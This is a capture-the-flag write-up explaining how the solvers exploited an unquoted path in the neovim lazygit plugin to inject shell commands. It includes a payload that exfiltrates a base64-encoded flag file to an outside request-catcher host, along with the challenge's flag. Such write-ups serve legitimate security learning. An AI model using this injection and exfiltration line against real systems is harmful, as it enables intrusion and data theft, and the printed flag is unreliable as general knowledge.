While writing another challenge, I accidentally beheaded my editor :( Can you geit gud and put it’s head back on? Or just get the flag…
Category: misc
Solver: sohn123, nh1729
Flag: GPNCTF{WOW_4pP4r3n7Ly_Y0U_rEAlly_gO7_g0Od!}
Writeup
In this challenge there is a webservice written in go that clones a repository. Afterwards the repository is opened in neovim where the extension for lazygit is installed. As a user you can only control the name/directory path where the repository is cloned to. Because of this we looked at where the path is used.
For this we looked at the source code of lazygit to find the entrypoint and followed where the path is used and found the following code in lua/lazygit.lua
:
--- :LazyGitCurrentFile entry point
local function lazygitcurrentfile()
local current_dir = vim.fn.expand("%:p:h")
local git_root = get_root(current_dir)
lazygit(git_root)
end
local function lazygit(path)
...
local cmd = "lazygit"
...
if vim.env.GIT_DIR ~= nil and vim.env.GIT_WORK_TREE ~= nil then
cmd = cmd .. " -w " .. vim.env.GIT_WORK_TREE .. " -g " .. vim.env.GIT_DIR
elseif path == nil then
if is_symlink() then
path = project_root_dir()
end
else
if fn.isdirectory(path) then
cmd = cmd .. " -p " .. path -- VULNERABILITY part 1
end
end
exec_lazygit_command(cmd) -- VULNERABILITY part 2
end
local function exec_lazygit_command(cmd)
if LAZYGIT_LOADED == false then
-- ensure that the buffer is closed on exit
vim.g.lazygit_opened = 1
vim.fn.termopen(cmd, { on_exit = on_exit })
end
vim.cmd("startinsert")
end
So from our entrypoint we call the lazygit
main function with the path of our git repository as argument. In the main function we build a string cmd
that starts with lazygit
and then we concatenate different options. If the environment variables GIT_DIR
or GIT_WORK_TREE
are unset, we concatenate our path as last argument (VULNERABILITY part 1). The cmd
gets then executed using the exec_lazygit_command (VULNERABILITY part 2). So we thought that a command injection might be possible to get RCE. We then tried the following payload:
abc ; curl https://djisajdsaoidosa.requestcatcher.com/test`base64 flag.txt`
This payload ends the first command using the semicolon and sends the flag as a base64 encoded string to an endpoint we control. It worked, we decoded the received request and got the flag :)
echo 'R1BOQ1RGe1dPV180cFA0cjNuN0x5X1kwVV9yRUFsbHlfZ083X2cwT2QhfQoK' | base64 -d